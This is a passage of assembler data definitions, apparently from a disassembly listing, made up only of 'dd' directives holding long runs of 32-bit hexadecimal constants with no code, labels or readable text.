11070466h, 3E6ACDC1h, 2FD7D6DAh, 1240ED9Ah dd 28259DB1h, 6DBDAC3Fh, 86CB449h, 25045229h, 2305765Ah dd 575BD21Dh, 0C267DD80h, 53D05D76h, 0D49D2DE0h, 701B16h dd 0A585A506h, 229E789Fh, 14B6FCF0h, 5FBCB532h, 2F4ED3E7h dd 0AC60DFD7h, 0DECE1866h, 7CF49F36h, 1B6DB800h, 34B613A4h dd 58958E48h, 9FD471Bh, 6ADB8EB9h, 28655B6h, 0BDA2162Fh dd 0E727D76h, 13A64B87h, 0B4B78539h, 26D730D5h, 0AC231332h dd 1762FFE4h, 91E03D9Fh, 0B514A9C2h, 0ECBFE567h, 8527FED0h dd 5B3662D9h, 0C06A8F19h, 0E01A42E3h, 0AF64A7EEh, 0B7FC4BFFh dd 1360F101h, 5FE91E0Ch, 0BB8C1650h, 0B088A5F4h, 0C39C9BCCh dd 7C6B0DA2h, 438CD2D5h, 95DE54B5h, 9788E817h, 6A358757h dd 499D7529h, 2F5496C6h, 5B0B985Fh, 0F2977DAAh, 31854BD9h dd 0FE926532h, 5E38379Ch, 7E1F4A33h, 76C0E8EFh, 0FDE1ED14h dd 0BDCF356Fh, 9EEB81A6h, 431F370Bh, 0E9929623h, 961C983Fh dd 0E2F28C8h, 0CAE6D346h, 0A75F2608h, 8962D33Ah, 0CFFC454Eh dd 254AEF15h, 0ED465BDBh, 0AE15A734h, 3843E1ACh, 78C79CD2h dd 0DCFFA37Eh, 0AEBB790h, 0D435A3C2h, 40357BF7h, 129C09EBh dd 987CAB48h, 0D98046DBh, 0BAB186BBh, 9B2781BDh, 4A60A3DCh dd 96ECADFh, 7F07F37Fh, 17EA077h, 21988546h, 0C83ED640h dd 0CF172008h, 63445D16h, 0F5261BC1h, 6D5DA4Eh, 60741F4Dh dd 0C1B8F000h, 8634748Fh, 19812419h, 79A5D2E7h, 98326AEBh dd 0AB803B86h, 8F9C6E2Fh, 0D2A08AD2h, 0F51388CAh, 1DFED0ADh dd 713C123Dh, 0B06765C1h, 507E292Fh, 0DB56A182h, 0FE49D7BCh dd 0F82F08A7h, 0CC191A25h, 0E098379Ah, 0AA6352Bh, 598A7294h dd 0FE339F85h, 0FC269E5Ah, 253667B6h, 0A36B29AAh, 7BD4387h dd 0DC3224CAh, 0D03D27C3h, 0FB4DCA9Bh, 0E240C3E1h, 0DF6FF046h dd 0AC8B6773h, 65513A69h, 18AAE4F9h, 2A59153Ch, 0F4B2130Bh dd 0A4CBF1F7h, 91D79555h, 0BE48D601h, 0EE6A4BD7h, 9A0EE450h dd 994F992Ch, 414BF8C1h, 1C747038h, 4D0E3463h, 154A76D6h dd 14BA12F9h, 2AA7043Eh, 3B4C21B0h, 2FAD1E89h, 0B6BD1A28h dd 0D6B64B6h, 0C270491Dh, 0F46BCD7Eh, 4754CBB6h, 0A8DEEC0Eh dd 0C9ED616Ch, 4E16C2C3h, 758F42E3h, 0DFF2328Fh, 0CC2EA99h dd 0DE695869h, 3C2AFE4Dh, 0ED0AAD1Dh, 7C4915D3h, 0D7B8901h dd 40EBEC0h, 9BF0FCE2h, 88FACC84h, 0C7AB54E2h, 0AB0D38F4h dd 4D8440CCh, 99526752h, 2447EFA6h, 0FD349A01h, 0C8BB0916h dd 92505E43h, 0AD9457F9h, 0AA603FBCh, 6942F0F2h, 0F4AFAE60h dd 2BBFFD20h, 3C95DF3Eh, 0DE8602DAh, 0F54D7DD3h, 226697CCh dd 0CA192FC6h, 0A70E69C9h, 0B1A0085Dh, 88D0717Fh, 0F4E917C5h dd 86CE2A27h, 0E3D8E25Ch, 5513BE8Dh, 9F11B764h, 28BAB025h dd 0C75B5B1Eh, 0AC9FBE96h, 7221B63Eh, 74637645h, 2AF6657Bh dd 7C4EBC7Ah, 5F97336Bh, 0D7FF7A4Ch, 1AAC37E2h, 0AABA4370h dd 5DFC5A6Ch, 0E3F7CA0Eh, 299F455Bh, 95F809CFh, 30E02141h dd 0C69A8B8Ch, 0C5D341F6h, 9F073AFFh, 1DB96EA6h, 0BDFBD17Ch dd 70BB9EFFh, 757B91D0h, 2AFBCF7h, 1BE70047h, 0EAC79401h dd 6C3DC28Bh, 77416136h, 42D4B993h, 0D0637609h, 0F3CD9779h dd 0A4FD92C9h, 0B0FA8269h dd 84ABF94h, 6CFF50CFh, 0ABDFCEBFh, 69593889h, 7A90FD03h dd 0E164A758h, 48E9A932h, 3A84C92Ch, 9881F82Bh, 60A03279h dd 9015148Bh, 107663DAh, 8406DC45h, 4A7666A0h, 49466CD2h dd 0D6FF9429h, 2AFE4278h, 0A44791A5h, 0F5726815h, 4509F9BBh dd 3E6B81Fh, 1B14CFF3h, 3AD6C801h, 9B736B7Dh, 7C059EACh dd 2B340C7Eh, 3DF5F9EBh, 1027553Ch, 0D915C190h, 0CF35206Ah dd 4E3DB458h, 1EA8B75Fh, 50E92234h, 470C267Ch, 5139CED3h dd 79FDC71Fh, 24D638D9h, 29B84FD1h, 0ABEACB84h, 7DAD5065h dd 0DCC9B055h, 0D6BB089Eh, 0B6159FA2h, 0AA51B2Ah, 80CA0432h dd 0B0747709h, 8CB03797h, 0CCDB5785h, 9E80C00Ah, 85471446h dd 0B0888DC5h, 0DA390377h, 44F50E42h, 5A13F604h, 1569900Eh dd 54DB194Dh, 51911978h, 0C2FCC8BCh, 0EA0A6BF0h, 87C35E22h dd 1E7887E4h, 0CAF130E9h, 0A0BF0876h, 0EC7A8F14h, 4002E6CDh dd 0DC55B067h, 63892125h, 1E54558Ah, 32CD5293h, 60FAB64Ch dd 0A3E7BEA7h, 64290182h, 21928F8h, 12DB92E2h, 0C2D7FF7Ah dd 9ABA3607h, 0E84F3572h, 6E764180h, 10EFA7C4h, 0AAB5606Fh dd 3F4A295Ah, 4896F41Ah, 0E30CD574h, 0BAA363D1h, 2E53E65Ah dd 0EC211892h, 5CB7CCF5h, 34A6752Eh, 73E192D1h, 0EA096BC1h dd 78854C84h, 0EC1EAC26h, 6E05DDDBh, 0BF817D49h, 2B641359h dd 0B0AF7C4Ah, 67ED939Bh, 0EF16F891h, 22700990h, 858D75D1h dd 0FC70D195h, 304649DBh, 4FD08655h, 24CDE59Fh, 0D9700D28h dd 43266700h, 0A87B5686h, 0E8326E3Fh, 0D9EA9F57h, 0F2AE33BEh dd 9913D76Bh, 4E8A032Ah, 76A7F705h, 7922B39h, 8CDAD15Eh dd 59BFB665h, 320BDE27h, 4179551Fh, 0D5625EC4h, 0B1D0A2Ch dd 4405C772h, 1EB3438Eh, 0E06524D7h, 0E60F678Eh, 2A23911Ch dd 77F4B35Eh, 0A7F1F49Bh, 6C633AAEh, 56496C92h, 97BA599Eh dd 0C2E9B8B7h, 0E2684226h, 0C70BFC80h, 5F993A1Bh, 86993FA8h dd 6B4C5EEEh, 9C2CEB6Dh, 3D9790FBh, 0DCD78B3Ch, 0D1FF209Fh dd 0CA78FF04h, 0F77F7AB4h, 0AD59A576h, 0FD053231h, 0ED8C82F2h dd 0F8CB8654h, 0FE4F52FBh, 2094D947h, 7AC0F099h, 3AABA947h dd 1A07B3D9h, 197C0A41h, 14A8D8FAh, 3FB7E775h, 28241951h dd 0F4DA7B42h, 323176E4h, 0CE566652h, 139098CEh, 0D8A4026Ah dd 807FAB26h, 0B51EC78Bh, 0AE5292Bh, 742097A9h, 6060A247h dd 0FDEA5603h, 5E74B288h, 0CFC6BD4Ah, 0FB06935Fh, 3F8494BCh dd 0FB185226h, 85F1DB5Fh, 55B2037Ch, 50E77744h, 564EC8h dd 6CD5E00Eh, 6BE32DC3h, 47E79EFh, 0B93A43A0h, 0B174B4EBh dd 0B85F4DC0h, 0F8D69C42h, 1EB823B2h, 0C0B7D7C5h, 0BC2582D3h dd 64288CDFh, 7F789882h, 2D87FDD0h, 5A83AC01h, 4F7D282Ch dd 162BAA35h, 6DDD12FBh, 0BBE2F1EFh, 0E9FA30BFh, 8738A85h dd 0B890CD4Fh, 0D0848F0Fh, 8E6D9897h, 8F3231F1h, 4D7BB615h dd 8E02E4BEh, 8BBC82A8h, 5062109Eh, 6F76B9ADh, 3802DB17h dd 82AF47C3h, 2DEC77C9h, 3C5BA4F8h, 6EBD7946h, 0F9D6735Dh dd 72C37B8Dh, 293256BFh, 0AC26E93Ch, 0F567033Eh, 0AF78DC0Eh dd 744F915h, 18918B5Fh, 1839CCA4h, 339BD433h, 13E011E4h dd 81BB3562h, 833C98E8h, 5FDCB2D1h, 0CA217479h, 0CE5BF56Ch dd 157CDCF0h, 57E580FFh, 2F025795h, 86AEB55Ch, 375DA60Ch dd 7832C553h, 6A77D8FAh, 0A0A924F6h, 97FA015Ah, 2E8E25BAh dd 0CE3B9C2Ch, 0E25ACA20h, 0BD0D91D8h, 6092D6BAh, 82092AF6h dd 97D6CC70h, 8C63CED6h, 0A8E2DBC2h, 2939F37Fh, 5DEDFD87h dd 0A9B1927Bh, 0DC435ACFh, 58B5A66Ch, 0EC1E726Fh, 663AD89Fh dd 97BA4651h, 3E333911h, 0C46ED774h, 8FB23ACBh, 0E21BDEABh dd 9B77EAACh, 0CE3652AEh, 0AF951C36h, 6B994D21h, 0C0FD1C6Dh dd 6FA309C8h, 70F6DA9Eh, 7E897095h, 88F04BA4h, 9F9DC870h dd 667F0F2Ch, 549B7E4Dh, 54A4E45Ch, 90AC074Ah, 4041E400h dd 58A4E8ACh, 804C6689h, 7030F79Ah, 5A8A21E4h, 61B84080h dd 37C4F49Ah, 0BE68CF01h, 182EC097h, 5B9870CFh, 95872E7Dh dd 3BC57318h, 0B41E8898h, 0CE664E09h, 37CFACCAh, 0E2964630h dd 4FAD489h, 6A9CDC96h, 78B82EFEh, 6B248022h, 0F95C4AB6h dd 6F216EE8h, 12DDE6ACh, 49E210DEh, 210249E6h, 1AE7614h dd 917F5701h, 7FFBC1F7h, 0A407218Ch, 242E17CEh, 1F9E1348h dd 4D385D10h, 498DE266h, 0F673ED48h, 21426654h, 5727AE2Ah dd 95F2194Bh, 682F3CAh, 35F5D63Dh, 0F5898091h, 0CDEC3A06h dd 0E704CE1Ah, 0AE3BA1E4h, 10F49A93h, 0B3B0B1CEh, 83AA1AAEh dd 0CE27A34Fh, 60296A94h, 0BBD889DFh, 2839989Eh, 6E61981Ah dd 18831201h, 1AB43F8Eh, 994905C6h, 36770D22h, 9DAFAD75h dd 424C86B4h, 25BA22D5h, 0A0E9C830h, 0F83FEF01h, 814A10AAh dd 183B3231h, 0A33AAA25h, 0F8729F0Eh, 93D12BC6h, 23A43E96h dd 49D5226Bh, 63E03D8Ch, 0F3E73559h, 6B65659Ch, 25CCF000h dd 0F21A02CEh, 1ED32A0Fh, 124EA791h, 0E3A0B83Dh, 8F4120Fh dd 0F19B5BD3h, 4AE933FCh, 0B5E8F5EAh, 27165C93h, 7224E4E7h dd 0E13A9247h, 0A7E8B2BBh, 4149D28Ch, 12BFA8F1h, 0EE7E9DDCh dd 5CEFD094h, 0B368CB87h, 2D735058h, 0F8C64C5Ch, 0E87184B0h dd 61143CEBh, 2F15CA25h, 23C3912Ah, 0C0707810h, 36C2FCF9h dd 8A9ED9BEh, 3B622712h, 1725D08Ah, 7851EACCh, 0C461165h dd 872C77CFh, 0FBB88DDDh, 0DF52CD87h, 0DA805F4Bh, 4ED3216Dh dd 0B3596A54h, 10E6BC81h, 0F02E6A33h, 0CE375ACDh, 0A83EC924h dd 0B875E2B4h, 0E05BBE1Dh, 3A758B89h, 360CAFC1h, 69C3BB56h dd 0B35A7D8h, 0BC481F03h, 0A2AF7818h, 89989CB5h, 43FA2D79h dd 5054FCC6h, 0FA8BE849h, 0DA2E30Eh, 0F33E340Bh, 0C9B6BE89h dd 0BBDE6BC5h, 0B8AEE3A8h, 0B7393BE8h, 0CC28CEAh, 637A1F0Fh dd 988A463Bh, 0B1FD181Fh, 0EB8B366Dh, 3135D985h, 0AFD89D32h dd 4B74DAFh, 5AB35570h, 15868A5Dh, 6C757DB8h, 867CB024h dd 95D753Dh, 0AB91C482h, 53595A03h, 853D9216h, 0FBBFD857h dd 0AE4BE2D8h, 0BC8CEF89h, 3EF9B6DDh, 21B10396h, 19EF4057h dd 0D7A14320h, 0D2EDEE3Fh, 17D2844Dh, 9D59FCF3h, 1E9C8C8Dh dd 59E5FB63h, 489E3D93h, 0DC3B4210h, 26490578h, 4339406Ch dd 1E8A0884h, 9D858FA7h, 3A017D85h, 9664A16h, 425B8D43h dd 746F2B11h, 74BFEF8h, 4443DBF4h, 0D2BC28A8h, 646470D0h dd 7F9D4D1Fh, 5D7347ABh, 0AFFEA89Fh, 0C861843Fh, 0A06A3751h dd 9ECF712Fh, 0A4D1473Ah, 94F53E4Ch, 0C460F2C7h, 1E8A9BFh dd 0D1BB36E8h, 51BA8B74h, 4F6187DAh, 0AA37B03Dh, 265A32C2h dd 3EA984F9h, 4BF3906Ah, 1EDD9D47h, 0E516C04Eh, 3FF305Ah dd 0FC57BB49h, 0FCAB1C26h, 681BC987h, 862822F3h, 5957E53Ch dd 48931228h, 639D1B8Eh, 96633C9h, 5BA42FC4h, 3F37FFEEh dd 84AEC2CFh, 62A25BFBh, 0BC2A55BFh, 934D8B5Ch, 93A2B9A6h dd 74064724h, 0DAD818DDh, 0A31BB9C9h, 0D720AC57h, 6CE8281Ah dd 3F463E28h, 0B9832E98h, 7ACB2785h, 0AF0BF555h, 73D0797h dd 39064CA2h, 342DBDE0h, 0F9E7FB57h, 0D73CB300h, 33249284h dd 232B0333h, 683B0581h, 97AACD53h, 4878C257h, 0CCB3E662h dd 8DCEFAEBh, 0ACB1BF86h, 444F5FEh, 0EA7A1A27h, 42EE7F38h dd 991B6335h, 0BFB41CEAh, 2DE1A151h, 70289E14h, 1C52F4EFh dd 67D861DFh, 31C1BE57h, 0E5D6CE32h, 0DB9D0E6Eh, 34CE659Fh dd 2412734Fh, 0B64E0246h dd 7F39507Fh, 0A2FFBE65h, 826A01A2h, 0C371B816h, 0DE18F5B7h dd 9590FD2Ch, 333920D8h, 0B279631Ah, 0F959EFF2h, 0D385F879h dd 7F5C805Dh, 0DB931EEFh, 43561785h, 3EA80310h, 3A672F77h dd 0C02D1295h, 87F65EE4h, 0A71ED5C8h, 7D22DB4Eh, 3759B222h dd 1553EEECh, 0CA665CC3h, 0DAA1835Fh, 21C296FBh, 198CAED1h dd 803A93DDh, 111E14D6h, 0BEF2C8DEh, 22B548C0h, 0B47CDF9Fh dd 0DB2B0184h, 0FBE7C0C8h, 26E52060h, 9003E632h, 7FF26FD0h dd 0C8515464h, 7AB3847Dh, 0EA398C2Fh, 0E284903Bh, 65B5708h dd 7ED83AD5h, 0FBE4C64Bh, 50D85492h, 237CF78Ah, 920BE6C9h dd 0CCC8DE6h, 0C7E221FFh, 0D1C14CF7h, 7E8CEDEh, 757F4A5Ch dd 0C70FAC6h, 7860DECBh, 3885F3A1h, 5C5C47B7h, 3655CAF6h dd 74E9062Dh, 72DBBD3Ch, 0F0C27E55h, 3948C48Ch, 0DC5E7BE0h dd 0C20B25C3h, 8B3BE53Bh, 4F1F12F8h, 55E4EE52h, 0A828B2BAh dd 16C0D7A0h, 604B653Ah, 0E712B0B5h, 527C320Dh, 0CEB4085Eh dd 71CA671Ch, 9EDAE57h, 0F20840C9h, 6E6187B9h, 3EEDA5BCh dd 5E7B9229h, 0CA6708Eh, 78FCE02Fh, 81F53EC2h, 5B5389B2h dd 0BE36D746h, 818AD492h, 0E9280134h, 0CFA01FCEh, 3BB98A4Eh dd 0A1AABAB3h, 3A7E76A6h, 890DB55Ah, 7B4F207Fh, 0AA61BCF1h dd 47BA083Ch, 71BD22E2h, 2A30F82Dh, 0FE7D5002h, 0B7F73E9h dd 14570859h, 0A9ECB79Ah, 606E522Ah, 78C05AE5h, 39A0C08Eh dd 3D02A0F5h, 80EBCF14h, 0B7CDB798h, 3EB5811Ah, 3111989Fh dd 0F765A432h, 0DCB57789h, 635A9328h, 0D8D96128h, 0F33891Eh dd 2E4465E9h, 25B2AA8Fh, 0A46289A9h, 4A38E767h, 0B39DA818h dd 34F9F111h, 305AE726h, 9B8D1F53h, 6EC766D2h, 0A0FB7E20h dd 0FC4D5844h, 4D218EA7h, 1FC1EE61h, 0DCED1887h, 34A38F0Ch dd 65F7F93Ah, 9E81BBAh, 0BEA0F354h, 83D565ABh, 2DB19EA0h dd 7CD38D03h, 0DE92D6ADh, 69264151h, 4D5A68BAh, 0A501A5CCh dd 62137D15h, 0E6F79F8Fh, 0E0CDD9A3h, 54BC1B7Ah, 347AE7B8h dd 0B57D6F1Dh, 622254DFh, 9BF238AEh, 0B88B8B34h, 9BBAE742h dd 26E195C0h, 0B3C778B9h, 885E27E5h, 0FF814F76h, 5BD874DBh dd 0B78DA77Dh, 7FAB6884h, 3CC6A292h, 573D16B9h, 1B8FDA6h dd 0D3E9C5E4h, 89DCA21h, 0B62630Ah, 28B6B198h, 6B85AE34h dd 61F68976h, 0A66C8FF9h, 0CBD1A94Ah, 1CB352F6h, 422DBFCh dd 0E41234EBh, 454BAB04h, 2E9945C8h, 65685E49h, 4D1BEF70h dd 0DD03C919h, 2D2577DDh, 0D4BF2EC5h, 78A938A1h, 0E29CCEB0h dd 0ABA7CAB5h, 0A16AE0C5h, 6A9604E5h, 55D35310h, 521D9620h dd 3A4935DAh, 0DF63E17Bh, 46B9E7A5h, 1B86F6A7h, 0E1E2C849h dd 86A3BB3h, 40BE5B50h, 1AF587BEh, 0C5F4C36Bh, 2C375600h dd 0B2E3C7B9h, 7F8F87C7h, 200DB536h, 0BF6FFC01h, 33BC2D85h dd 90F995Ch, 35DE7C5Fh, 66D0FA71h, 0F6823CA5h, 0DD255D6Ch dd 0B1E85A9Fh, 38B61E5Ch, 0C15D0FBAh, 0DD30CF39h, 4B300B5h dd 5646D2CBh, 34459A3Ch, 0EB0AFAE4h, 5DC1D8F4h, 93D62DF1h dd 4DEF4C84h, 0DF13CACEh, 713231C8h, 38EAAC23h, 0F01EFB19h dd 7C50389Bh, 9DF32795h, 77024C48h, 930E836Ch, 0EF3A76E3h dd 25576A2Ah, 62952817h, 2DECFF42h, 0C4D15150h, 0D5D7C962h dd 0C9A0B98Fh, 0C15987DAh, 6815865Fh, 0C6E09ADBh, 1FF12FE4h dd 0F006ED6Dh, 3B6A41D7h, 0E4436976h, 1E15F249h, 1E8A734Fh dd 0E6138CBCh, 21BE4383h, 0B5B1B042h, 56C8AF9Eh, 0D1DC555Eh dd 0FCFAEA77h, 0BCA90067h, 21693231h, 8B9AC2D2h, 57B2677Ah dd 0AC224D15h, 0D0E16C66h, 0E48A0B89h, 37DFDED6h, 1382A35Bh dd 2B6ADF21h, 0F79F03ABh, 2DEE2CA0h, 4A9BEB27h, 0EEF3A4F6h dd 19C56B5Eh, 0E7E67C64h, 5F082CE7h, 7127256Bh, 0C0F637CDh dd 0C568CCF1h, 0A9DD3217h, 95BC2AD0h, 0C64C134Eh, 2E8593E1h dd 9B5D65h, 95709D43h, 232BE41Fh, 0AC7DA0C4h, 0ED8FEB0Ah dd 4CD76688h, 494FD25Eh, 0F7AAFDD7h, 0D4EA00C3h, 2E898409h dd 9F1B69EDh, 5B7B78D9h, 0DAAA1F6Ah, 4D26D726h, 0BBE0AD75h dd 16110623h, 0D49F449h, 382797FAh, 0EBB59DF8h, 20FAE2B4h dd 29533707h, 0F36ABF73h, 1BE7E05Bh, 4A628718h, 0E95B22C6h dd 9F04F2FCh, 34EF3AA2h, 0CF49EE7Fh, 20F02A17h, 47E789E8h dd 3EE5AA5Dh, 0FC30308Bh, 31F5C654h, 302EA037h, 97E9AE30h dd 4E897C10h, 0ADE8CA1Ch, 443996D4h, 0A0CE70CCh, 73034A14h dd 0BD5DD21Ch, 2ADFFF7Fh, 0F0A4432Eh, 4F2DA54Eh, 6E98C0FEh dd 4B5DE5BEh, 0C8DB4C18h, 0BF931C2Fh, 70A50F80h, 0A8DCAF6Ah dd 930B719Fh, 0B489D4ACh, 0DD251059h, 9C7CAAE5h, 89A2B6A6h dd 0E196F2F9h, 356FB5C5h, 0BAEE8F2Ah, 8CE3BAE7h, 0E1935881h dd 4923781Bh, 0CBB7079Ah, 2DE677Bh, 292FC733h, 10398EB0h dd 6ED24643h, 0CC079F0Dh, 0E32F07BAh, 0EC272C6Ch, 59B6EDF8h dd 6245A2EAh, 2CE28F29h, 0DAA0BBB9h, 33863092h, 0A0786F54h dd 4F63CBACh, 9980423h, 3C35A0C7h, 0E63231EDh, 545160B6h dd 0CAEAB2C9h, 0B7B6D424h, 0CB435225h, 8CF03CB5h, 4166C204h dd 1E3030BAh, 31FFD61Eh, 35517D36h, 0B8143351h, 0A5C47FA4h dd 482557h, 0DF814AC0h, 4D6FAFE0h, 0B1569EBAh, 1D8F2E35h dd 0BC95A620h, 0DC2BA83h, 0E1D53776h, 85FAD873h, 4A539F4Ch dd 87B54685h, 9E37BE3Fh, 0C0611AEAh, 7AE7F5B8h, 0BB7928E3h dd 18FE59AEh, 6E7E9D18h, 8C42FA8Dh, 386D2B1Bh, 6CA2B7EAh dd 1B229464h, 9F27D009h, 9775AF56h, 9C7DB030h, 0CF682544h dd 452748D8h, 0A8C7AD70h, 0F4D82551h, 0FDF90817h, 0E2BA896Ch dd 5CB232CEh, 5B985FA0h, 0D765C3CCh, 2C0E1962h, 9E8B3EDEh dd 8687113Bh, 0AB7D18DFh, 68006302h, 0F9582038h, 26D30FF9h dd 9727A1BBh, 0FF7BFC6Ah, 0E3A96E7Ah, 21D5C5A7h, 0FAC2DDAEh dd 74C96BECh, 0DC10CC05h, 3AEFB709h, 713F8825h, 1DEC1E4h dd 903B4956h, 21BA4E4Eh, 9E711F4Ah, 0E43D06ADh, 0B7047ACBh dd 77BCE9A7h, 0A4388961h, 228BED1h, 7B5B9975h, 5D3439A9h dd 2CFA4425h, 520C734Bh, 9958730Ch, 0CDABED5Ah, 5F3231C9h dd 89D29A4Dh, 4FAEC00Fh, 56CE42Dh, 5CFDDAA0h, 1DD0D870h dd 0CCBBC254h, 1891714Eh, 144DF380h, 0C2198433h, 9C84E43Bh dd 28A5D5D3h, 7A4F78FDh, 962B4D6Fh, 447B36A8h, 976E094Eh dd 0AEE289ADh, 85A6CC2Ch, 0BD6588C2h, 0A2B69E9Ah, 0B3CB2DDAh dd 0EE6F9DD9h, 7D52FC9Fh, 2A5F0210h, 5D4184Eh, 83BB9185h dd 0D63378A2h, 0AE3A59F6h, 6ED5A8CCh, 8172498Dh, 0E0DD8BE2h dd 4F08F391h, 5D5B201Fh, 99E92307h, 66741401h, 5C057B6Dh dd 3B301195h, 0FE5452EAh, 7CD1A9AEh, 0FBCE129Bh, 760A1EA3h dd 18D61884h, 4A59111Eh, 61FE1E18h, 0C34224D1h, 14E496C2h dd 0C507F4BDh, 8FAA8A12h, 3820EF64h, 60BB872h, 7D0E6000h dd 802E9501h, 0AB722428h, 9A676A56h, 5C8B8865h, 0E0C392FDh dd 0B475E196h, 5FEF402Dh, 530C6E94h, 21C0286Fh, 3BAD5F75h dd 4B5EA04Dh, 52A7721Ch, 1143F059h, 0B6FF20Ch, 0C74D9B20h dd 90DA8007h, 0EA2F4ECFh, 97F1B7E3h, 2381E28Eh, 88D717D3h dd 56DE6875h, 729F8B1Ch, 46254436h, 0F5ECE633h, 0F15FDBBBh dd 864842ACh, 0BCA16748h, 955946CEh, 0BAE2A183h, 0CF362F6Fh dd 0AC02B1ADh, 8A23CDAEh, 0CCFB536Eh, 0ADC8B306h, 0F747B289h dd 0BD8C8726h, 0C8032A07h, 0C2A64093h, 0BF5E5FFFh, 0DEDD8DB9h dd 39719D05h, 0FECF047Eh dd 0CD3FB83Bh, 0CF6AA408h, 3F9437A2h, 5FBCBCA4h, 0DFFCBDE2h dd 30EA4900h, 3711361h, 0CCE77F74h, 70830579h, 30D00DEAh dd 0C08B00BFh, 0DA859B95h, 0C9FF7446h, 0F5CE0EC8h, 0A95ACA27h dd 0A8062400h, 9A10B8EDh, 57340635h, 0F4EED451h, 89D46868h dd 0BA6B5784h, 0BBC3A7C6h, 0BD08471Bh, 0E66388BEh, 561E1CEBh dd 0BD4B2C03h, 6B7C8587h, 2C2C6C94h, 25AECEDFh, 0CCAECD84h dd 8C206AC7h, 0CE32310Eh, 0DDDD22CEh, 8A0256BFh, 0ADB2C521h dd 2AF2FAA3h, 11FEBCBCh, 0E26DC3F9h, 80B443D1h, 2EDBD29h dd 0CA7BDCBEh, 7356DBEBh, 9F675F9Ah, 21CD60A6h, 12BACFD8h dd 690A73ADh, 8C5AAB10h, 0A6DF3ACCh, 3356AFCDh, 0C0C1A94h dd 2C30716Dh, 21E3824h, 8F595CC5h, 0C6250219h, 0C11827E5h dd 3BFAFCBFh, 7DC1B574h, 90F1D63Ch, 0D71E7C9Bh, 0E06D713h dd 5C213BDh, 929EE84Ah, 0F8D3FF21h, 0E5ADB115h, 4AB0A8A7h dd 0AE8B012Ch, 25C76E4Eh, 0CD7387Ch, 7B918191h, 1D9877h dd 0E0BD950Fh, 53472478h, 0EBFC971Ch, 26879ADh, 911199B0h dd 9B508778h, 0DC4E2482h, 43527E57h, 28E03065h, 857FBE77h dd 0A053BA82h, 42598EEFh, 898292BDh, 0DFF6BDD4h, 334CEE80h dd 85DCC507h, 0A7B96E1Eh, 17EBC19Fh, 8BB64458h, 0B321419Fh dd 0EB41D63Ch, 90817EEEh, 0EC595246h, 3E50D300h, 0D68633E4h dd 0CDD111BDh, 88A7A522h, 0BF8D36E2h, 3DCD47D1h, 6D015E0Ch dd 0B67820E5h, 54D3BD12h, 45B2D7Dh, 77BD4ACFh, 0D18568B5h dd 0C9E2C1F2h, 0CBAEFC08h, 0A8FFDFE2h, 54012AC7h, 0DAA9372Dh dd 0C112D326h, 448A0D7Ch, 0D33CB08Fh, 55A5B4DCh, 698CBB19h dd 76709F0Eh, 4A9E2AA7h, 4BB41BB0h, 0D0BF2465h, 0E48BE138h dd 0D8AEE59Eh, 0DAD7CEE3h, 0C8660CE1h, 0ADAB8957h, 2D0F7877h dd 36C86B49h, 5DB6F9Ch, 4941C248h, 9717C261h, 307EE8E9h dd 5A5EAC95h, 9926283Fh, 7C8856F1h, 7E64F43Fh, 241E4633h dd 5A262262h, 0C10E6C19h, 9A404CA8h, 0B3480366h, 7545F020h dd 5E469A1Ch, 235C97F7h, 403473EDh, 6B0CAE2Bh, 7230BC6Dh dd 50D5A7AEh, 92B44994h, 0D1040236h, 0BB1221D2h, 159B23A4h dd 44AD02D8h, 0FDB5948Eh, 0E7A8F6E2h, 0DF54FD0Ch, 57485EC5h dd 6356A248h, 46A6D9CFh, 0BF9A4CCBh, 0D6F0F5C8h, 5DDE7A60h dd 3A21DA0Ch, 1BC193E9h, 0A041A67Ch, 0C00D3B44h, 0C85C8FB9h dd 11B95FF9h, 1C0785A8h, 0D3645A4Fh, 0CE504932h, 578BE04Ch dd 5C23E409h, 8021762Fh, 0C9A5DDB9h, 0D9D01E76h, 0AA798A9Dh dd 0E82BEDF5h, 96E38F8Bh, 90298FC5h, 3C9EE96Bh, 0B7C1B74h dd 0D01E0C17h, 791EE2ADh, 7693D75Ah, 54690078h, 0D4268E65h dd 0E601E5F0h, 0D2F76CF7h, 0E37BB346h, 0A27FA13Ah, 994CCE1Fh dd 9F04968Eh, 1E15C124h, 6D77392Eh, 0EBE6C19Ah, 0C040BD20h dd 2E811695h, 8D9D0D6Dh, 0E820301h, 1745EBE1h, 83A6045Bh dd 4BF90E0Fh, 0E1122B85h, 0E6D8842Ch, 0DBA54168h, 75F52312h dd 3646BD6Dh, 319B7423h, 506EBE32h, 0BC10BF98h, 2B7F6964h dd 0A48C4469h, 53895270h, 58786DCh, 7775634Ah, 0AAB87932h dd 3B689ACCh, 701A1A29h, 295ABC7Fh, 70B5F4EEh, 0A80215D2h dd 0EF2C1DDFh, 84825DDFh, 0A2A638AFh, 91E64FC4h, 0C609719Fh dd 0EF588942h, 0D1E237C6h, 0F0055482h, 6B7068ECh, 0DBFC3DA0h dd 6B63F99Eh, 0C6D5CFFCh, 20870C48h, 0FB9D9EB5h, 0DC75A252h dd 0FFAB1324h, 27539475h, 92FB13A4h, 0DCC9216Eh, 5D22C6B5h dd 425FC4FEh, 8C9EBB44h, 0A5949525h, 99E83056h, 8B88DFD1h dd 0C9AEF146h, 1ADF6F2Ch, 0D1A12B6Dh, 87284735h, 0CAB0F7F2h dd 752FB42Ah, 50E7F34h, 533466D0h, 0AB116C68h, 5AEF5A57h dd 0ED8B0D1Bh, 37E4B401h, 6803985h, 6C3231E1h, 0BA823A86h dd 82659F4Dh, 0D0FFFCAFh, 22F36AF5h, 7AF86F92h, 66F733F9h dd 5A377BCEh, 64B49A7Ch, 333C03CCh, 0EA8F1AFBh, 26274420h dd 84383B46h, 0C14DE950h, 0D569584Ah, 4A0F7030h, 38564945h dd 2F6E425Bh, 4200B08Fh, 12D69BBh, 540DFB52h, 33522536h dd 7B4DCF6Fh, 0E9837EF4h, 0A022CEAh, 830BB6BEh, 1EA7B427h dd 0DCC15EF7h, 16A7A4C5h, 0D50BC943h, 0C497A959h, 0C3DBA84Ch dd 0A6254047h, 0E239DC94h, 35E90ECEh, 0DD165EBFh, 28FFEABFh dd 4CD5AF87h, 0B742ECA2h, 0CEB3A08Ah, 10C30138h, 51417C0Bh dd 0F00E3C1Ah, 0F645000Ch, 0C150C877h, 4C16F14Dh, 6B028C7Fh dd 0B69A2546h, 6385F1E1h, 5506E81Dh, 92B5AFFFh, 176F0723h dd 0E25D1C0Ch, 9A7A7BE8h, 214D8C4Dh, 0BB3CD16Fh, 0B4AC44E5h dd 0A685CAB7h, 0E9A25A68h, 0E2DA7EB2h, 20AC9C5Ch, 0B087D1D3h dd 8A1C2A6Eh, 43A7C30Ch, 60D674E6h, 